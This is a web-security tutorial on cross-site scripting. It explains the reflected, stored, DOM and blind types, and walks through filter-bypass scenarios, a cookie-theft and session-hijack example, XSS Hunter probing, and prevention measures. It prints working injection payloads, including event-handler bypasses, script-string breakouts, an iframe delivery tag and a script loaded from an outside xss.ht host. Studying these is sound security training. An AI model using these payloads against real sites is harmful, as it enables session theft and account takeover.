Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) attacks are a type of injection attack, in which malicious scripts are injected into the websites. When the victim visits the web page or web application that executes the malicious code the actual attack takes place. The web page or web application is a medium to deliver malicious scripts to the user’s browser. Cross-site Scripting attacks are usually carried out at search boxes, forums, message boards, and web pages that allow comments.

Cross-Site Scripting (XSS) Types

● Reflected XSS — When a malicious script is reflected in the website’s Http response Reflected XSS attack occurs. ● Stored XSS — When the malicious data is stored on a database and malicious scripts get executed every time when the victim user browses. ● DOM XSS — DOM Based XSS occurs when a web application writes data to the Document Object Model (DOM) without proper sanitization. The attacker can manipulate this data to include malicious JavaScript code.

How Cross-site Scripting Work

There are two stages to a typical XSS attack: 1. Finding Vulnerable Endpoint & Payload Injection : To execute the malicious JavaScript code in a victim’s browser, An attacker first needs to find a way to inject malicious code (payload) into a web page that the victim must visit. 2. Victim Visiting the Page: Then the victim must visit the web page with the malicious code. If an attack is targeted at particular victims, the attacker may use social engineering and/or phishing to send a malicious URL to the victim.

A Step-By-Step Walkthrough Of A Simple XSS Attack.

Image Source: Internet

Working:

1. The attacker injected a payload into the database of the website by submitting a vulnerable form with malicious JavaScript code. 2. When the victim requests the web page from the web server. 3. The web server returns the victim’s browser with the page containing the attacker’s payload as part of the HTML body. 4. The victim’s browser executes the malicious script contained in the HTML body. In this case, it sends the victim’s cookie to the attacker’s server. 5. The attacker now extracts the victim’s cookie when the HTTP request arrives at the server. 6. The attacker can use the victim’s stolen cookie for impersonation.

Cross-site Scripting Attack Vectors

Common XSS attack vectors that an attacker could use to compromise the security of a website or web application through an XSS attack. Most commonly used tags for carrying out XSS attack are:- ● JavaScript tags ● JavaScript events ● Tags like <script> tag, <img> tag ● <iframe> tag and many more.

CASE 1- Reflected Cross-Site Scripting

When a malicious script is reflected in the website’s HTTP response, Reflected XSS attack occurs. Example:- https://abc.com/status?search=<script>alert(1)</script> Here the search function is vulnerable to XSS. We will use the script tag as an attack vector . When a victim visits the URL constructed above, it will execute the javascript code in the victim’s browser. Here we used alert() to pop up an alert saying 1. Attackers can steal the cookies of the victim browser using different payloads.

Scenario 1 -Reflected XSS Into Attribute With Angle Brackets Html-Encoded

Considering the above example let’s see how we can execute our payload when < > are encoded. We will try to bypass this restriction using the payload which does not include < > brackets. Example – “onmouseover=”alert(1) It will execute our payload and will pop up 1.

Scenario 2- XSS Into A Javascript String With Angle Brackets Html Encoded

Considering the above example let’s see how we can execute our payload when a search is carried out in a javascript string. First, let’s try the script tag here. Example:- https://abc.com/status?search=<script> As you can see angle brackets are encoded so our payload <script>alert(1)</script> will notget executed. As you can also see from the code that search term is already passed in between script tags . So we can simply pass the alert function to execute it as a payload . https://abc.com/status?search=’-alert(1)-’ It will execute the payload <script>alert(1)</script>.

Scenario 3 -Reflected XSS Into Html Context With Most Tags And Attributes Blocked

Considering the previous example let’s see how we can execute our payload when most of the tags and attributes are blocked. Example: https://abc.com/status?search=your-check-list We will use burpsuite for this purpose. Intercept your search request in burp and send it to the intruder.And choose the payload position and place < > . GET /?search=<§your-check-list§> HTTP/1.1 Host: abc.com And bruteforce using all the tags available in javascript.we found that the body tag is not blocked. So modify your request as follow:- GET /?search=<body%20§your-check-list§=1> HTTP/1.1 Host: abc.com %20 indicates space in url encoding. We will bruteforce using the event list and found out onresize payload is allowed . Payload-<body%20onresize=alert()> Now to deliver it to target we will use an iframe tag which contains the link of the vulnerable website and the payload. <iframe src=”https://abc.com/?search=%22%3E%3Cbody%20onresize=alert()%3E”onload=this.style.width=’100px’> When someone visits any website which contains this iframe tag with this content as soon as they maximize or minimize or some resize happens then this payload will get executed.

Scenario 4- XSS With Some SVG Markup Allowed

Considering the previous example let’s see how we can execute our payload when only svg tag is allowed. Example: https://abc.com/status?search=your-check-list We will use burpsuite for this purpose. Intercept your search request in burp and send it to the intruder.And choose the payload position and place < > as shown. GET /?search=<§your-check-list§> HTTP/1.1 Host: abc.com After bruteforcing using all the tags available in javascript.We found that the <svg>, <animatetransform>, <title>, and <image> tags are not blocked . So modify your request as follow:- GET /?search=<svg><animatetransform%20§your-check-list§=1> HTTP/1.1 Host: abc.com Bruteforce using the event list and found that only onbegin payload is allowed.so we will be using this payload. <svg><animatetransform onbegin=alert(1) attributeName=transform> Here we used  animatetransform as an object of svg, Using SVG’s animation elements it will alert(1) on beginning of animation.

Scenario 5- XSS In Canonical Link Tag

Let’s get a brief idea about canonical tag first – What is the use of canonical tag? A canonical tag is a way of telling search engines that a specific URL represents the master copy of a page. Payload – <link rel=”canonical” accesskey=”X” onclick=”alert(1)” /> Our exploit gets triggered when victim press one of the following key combinations: ● On Windows: ALT+SHIFT+X ● On MacOS: CTRL+ALT+X ● On Linux: Alt+X This sets the X key as an access key for the whole page. When a user presses the access key, the alert function is called.

Scenario 6- Reflected XSS into a JavaScript string with single quote and backslash escaped

Following our previous example on the search bar, lets see how we can trigger XSS into a javascript string. Pass any string into the search bar and check the source code the string has been reflected inside a JavaScript string. So to break out of the script tag we will pass the following payload. </script><img%20src=x%20onerror=”alert(1)”> or</script><script>alert(1)</script>

Scenario 7-XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped.

Considering the previous example let’s see how we can execute our payload. Here < > are not allowed . So first let’s have a look at source code . Enter any function of some text and check out the source code. Example: https://abc.com/status?search=alert(1) As our search string is passed as a javascript string we need to break out of the string.

Code:

<script> var searchTerms = ‘alert(1)’; document.write(‘<img src=”/resources/images/tracker.gif?searchTerms=’+encodeURIComponent(searchTerms)+'”>’); </script> Payload we will use \’;alert(1)//

Code:

<script> var searchTerms = ‘\\’;alert(1)/’; document.write(‘<img src=”/resources/images/tracker.gif?searchTerms=’+encodeURIComponent(searchTerms)+'”>’); </script> We will use \’;alert(1)// and payload gets triggered.

CASE 2- Stored XSS

When the malicious data is stored on a database and malicious scripts get executed every time when the victim user browses it is termed as stored XSS.

Scenario-1 Stored XSS In The Comment Functionality.

Here comment functionality is vulnerable to stored XSS. A malicious script can be stored in the comment area which further gets executed every time whenever a user loads/visits the comment section. Example- https://abc.net/post?postId=7 Above script is executed when any user visits this page.

Scenario-2 Cross-Site Scripting To Steal Cookies

Here the stored XSS vulnerability is present in the blog comments function. We will craft a payload and comment it into the blog’s comments function. It will store our payload. Now when the victim will load these comments in his browser our payload will get executed. Here , we are fetching the cookies of the victim and sending them to our controlled domain. After getting the cookies we will replace our cookies with victims cookies & will login as victim. For replacing cookies we will use burpsuite. We will intercept the request and replace the session key with the above session key. Here we logged in as an admin.

CASE 3 – DOM Based XSS

The Document Object Model (DOM) based vulnerability arises when nodes and objects of the DOM are manipulated. DOM is a web browser’s hierarchical representation of the elements on the page. DOM based XSS arises when a website contains JavaScript that takes an attacker-controllable value, known as a source, and passes it into a dangerous function, known as a sink.

Source

Source is a Javascript property that accepts data that is potentially attacker-controlled. Example– ● document.URL ● document.documentURI ● document.URLUnencoded ● document.baseURI ● location ● document.cookie ● document.referrer ● window.name ● history.pushState ● history.replaceState ● localStorage ● sessionStorage ● IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB) ● Database

Sink

A sink is a potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it. Example– ● eval() ● document.body.innerHTML

Scenario 1 – DOM XSS in document.write sink using source location.search

It contains a DOM-based cross-site scripting vulnerability in the search functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which we can control using the website URL. Source– Location.search Sink– document.write Source code – function trackSearch(query) { document.write(‘<img src=”/resources/images/tracker.gif?searchTerms=’+query+'”>’); } var query = (new URLSearchParams(window.location.search)).get(‘search’); if(query) { trackSearch(query); } Input is passed in img tag , so we need to break out of it to execute our xss payload. We will close the img tag and will pass our payload as “><img src=x onerror=”alert(1)”> With the above payload we will break out of the img tag and it will pop up an alert box saying 1.

Scenario 2 – Dom XSS In Innerhtml Sink Using Source Location.Search

It contains a DOM-based cross-site scripting vulnerability in the search functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search. Source-Location.Search Sink- innerHTML Lets try <script>alert(1)</script> payload but it will not execute as Innerhtml blocks script tag and svg tag . So we will use img tag So our payload will be <img src=x onerror=alert(1)> . It will get executed and pop up an alert box saying 1.

Blind XSS Vulnerabilities

Blind XSS vulnerabilities are a variant of persistent XSS vulnerabilities. Blind xss gets executed when the attacker input is saved by the server and displayed in another part of the application or in another application. For example, an attacker injects a malicious payload into a contact/feedback page and when the administrator of the application is reviewing the feedback entries the attacker’s payload will be loaded. The attacker input can be executed in a completely different application (like in an internal application where the administrator reviews the access logs or the application exceptions).

Blind XSS vulnerabilities usually can occur at :

● Contact ● Feedback pages ● Log viewers ● Exception handlers ● Chat applications ● Forums ● Customer ticket applications ● Any application that requires user moderation Common tools used for Blind XSS Burp are- Burp Collaborator, KnoXSS, bXSS Hunter and many more.

How to Hunt for Blind XSS Vulnerability

We are taking an example of a vulnerable test site .We will hunt for Blind XSS at search functionality. Here we will use XSS Hunter.The service works by hosting specialized XSS probes that scan the page and send information about the vulnerable page to the XSS Hunter service upon firing of payload. For using XSS Hunter you just need to create an account(you need to enter a subdomain which must be unique) and sign in. We are using the basic XSS payload “><script src=https://b11xss.xss.ht></script> from XSS Hunter. Under the Payloads section you can find more payloads. https://demo.testfire.net/search.jsp?query=%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fb11x ss.xss.ht%3E%3C%2Fscript%3E When our payload is executed it will send logs back on XSS Hunter. You can find the vulnerable page URI along with the victim ip and screenshot of the vulnerable page.

Cross Site Scripting Prevention Techniques

● Avoiding HTML Tags in Inputs ● Input Validation ● Data Sanitization ● Securing Cookies ● Applying WAF Rules ● Applying Content Security Policy

Reference and Sources:

● Port Swigger: https://portswigger.net/web-security/cross-site-scripting ● XSS Hunter ● XSS cheat-sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet/